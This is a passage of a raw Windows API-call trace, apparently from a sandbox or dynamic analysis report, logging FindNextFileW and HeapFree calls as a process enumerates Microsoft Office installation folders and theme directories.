lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12910b6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x26737b32, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26737b32, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1 [0079.676] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0079.676] FindNextFileW (in: hFindFile=0x582dc8, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf472b09c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf472b09c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf472b09c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSClientDataMgr", cAlternateFileName="MSCLIE~1")) returned 1 [0079.676] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0079.676] FindNextFileW (in: hFindFile=0x582dc8, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2803429, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x26bb01a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26bb01a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE16", cAlternateFileName="")) returned 1 [0079.991] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0079.991] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xceb38292, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xceb38292, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe172e9be, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x22cad0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ACECORE.DLL", cAlternateFileName="")) returned 1 [0079.993] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0079.993] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe99511, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x24bcc96d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24bcc96d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="DataModel", cAlternateFileName="DATAMO~1")) returned 1 [0079.995] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e7ba98 | out: hHeap=0x490000) returned 1 [0079.995] FindNextFileW (in: hFindFile=0x582f48, lpFindFileData=0x2e9e918 | out: lpFindFileData=0x2e9e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x381f2dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x381f2dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x381f2dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17e0c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.dll", cAlternateFileName="MI1312~1.DLL")) returned 1 [0079.996] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e8baa0 | out: hHeap=0x490000) returned 1 [0079.996] FindNextFileW (in: hFindFile=0x5830c8, lpFindFileData=0x2e9e69c | out: lpFindFileData=0x2e9e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4befc00, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4befc00, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4befc00, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0 [0079.996] FindClose (in: hFindFile=0x5830c8 | out: hFindFile=0x5830c8) returned 1 [0079.996] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e7ba98 | out: hHeap=0x490000) returned 1 [0079.996] FindNextFileW (in: hFindFile=0x582f48, lpFindFileData=0x2e9e918 | out: lpFindFileData=0x2e9e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x447d6b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x447d6b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x44a38de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c190, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Spatial.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0079.997] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0079.997] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2803429, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2803429, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2803429, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="en-us", cAlternateFileName="")) returned 1 [0079.997] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0079.997] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4befc00, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4befc00, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x26a58c7d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x77e88, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="EXPSRV.DLL", cAlternateFileName="")) returned 1 [0079.998] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e7ba98 | out: hHeap=0x490000) returned 1 [0079.999] FindNextFileW (in: hFindFile=0x582ec8, lpFindFileData=0x2e9e918 | out: lpFindFileData=0x2e9e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef915def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8f6526, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office.en-us", cAlternateFileName="OFFICE~1.EN-")) returned 0 [0079.999] FindClose (in: hFindFile=0x582ec8 | out: hFindFile=0x582ec8) returned 1 [0079.999] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0079.999] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0fbc434, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0fbc434, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf10a1263, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2c40, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="OFFREL.DLL", cAlternateFileName="")) returned 1 [0079.999] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0080.001] FindNextFileW (in: hFindFile=0x582dc8, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc8d02b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8d02b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROOF", cAlternateFileName="")) returned 1 [0080.003] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0080.003] FindNextFileW (in: hFindFile=0x582dc8, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc576616a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x26bd6427, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26bd6427, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Smart Tag", cAlternateFileName="SMARTT~1")) returned 1 [0080.007] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0080.007] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc62081b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc62081b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc62081b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1bac0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="FBIBLIO.DLL", cAlternateFileName="")) returned 1 [0080.008] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e7ba98 | out: hHeap=0x490000) returned 1 [0080.008] FindNextFileW (in: hFindFile=0x582ec8, lpFindFileData=0x2e9e918 | out: lpFindFileData=0x2e9e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x26bd6427, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26bd6427, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x377ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASMLA.XSL", cAlternateFileName="")) returned 1 [0080.008] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0080.008] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7beb2bc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7beb2bc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7beb2bc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1cec0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="METCONV.DLL", cAlternateFileName="")) returned 1 [0080.008] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0080.009] FindNextFileW (in: hFindFile=0x582dc8, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0ed7602, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0ed7602, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0ed7602, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1 [0080.010] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0080.010] FindNextFileW (in: hFindFile=0x582dc8, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf15d84bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42b29f3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5f76153, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TEXTCONV", cAlternateFileName="")) returned 1 [0080.011] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0080.011] FindNextFileW (in: hFindFile=0x582dc8, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="THEMES16", cAlternateFileName="")) returned 1 [0080.014] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0080.014] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ARCTIC", cAlternateFileName="")) returned 1 [0080.015] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0080.015] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="AXIS", cAlternateFileName="")) returned 1 [0080.015] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0080.015] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a70c44, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a96da3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27a96da3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="BLENDS", cAlternateFileName="")) returned 1 [0080.016] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0080.016] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a70c44, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a70c44, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27a70c44, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="BLUECALM", cAlternateFileName="")) returned 1 [0080.017] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0080.017] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="BLUEPRNT", cAlternateFileName="")) returned 1 [0080.017] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0080.017] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a96da3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="BOLDSTRI", cAlternateFileName="")) returned 1 [0080.018] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0080.018] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a96da3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="BREEZE", cAlternateFileName="")) returned 1 [0080.018] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0080.018] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="CANYON", cAlternateFileName="")) returned 1 [0080.019] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0080.019] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="CAPSULES", cAlternateFileName="")) returned 1 [0080.020] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0080.020] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="CASCADE", cAlternateFileName="")) returned 1 [0080.021] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0080.021] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="COMPASS", cAlternateFileName="")) returned 1 [0080.022] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0080.022] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="CONCRETE", cAlternateFileName="")) returned 1 [0080.022] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0080.022] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="DEEPBLUE", cAlternateFileName="")) returned 1 [0080.023] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0080.023] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ECHO", cAlternateFileName="")) returned 1 [0080.024] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0080.024] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ECLIPSE", cAlternateFileName="")) returned 1 [0080.025] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0080.025] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="EDGE", cAlternateFileName="")) returned 1 [0080.026] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0080.026] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b2f705, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b2f705, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="EVRGREEN", cAlternateFileName="")) returned 1 [0080.026] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0080.026] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b2f705, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b2f705, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="EXPEDITN", cAlternateFileName="")) returned 1 [0080.389] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0080.391] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ba1ded, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ba1ded, 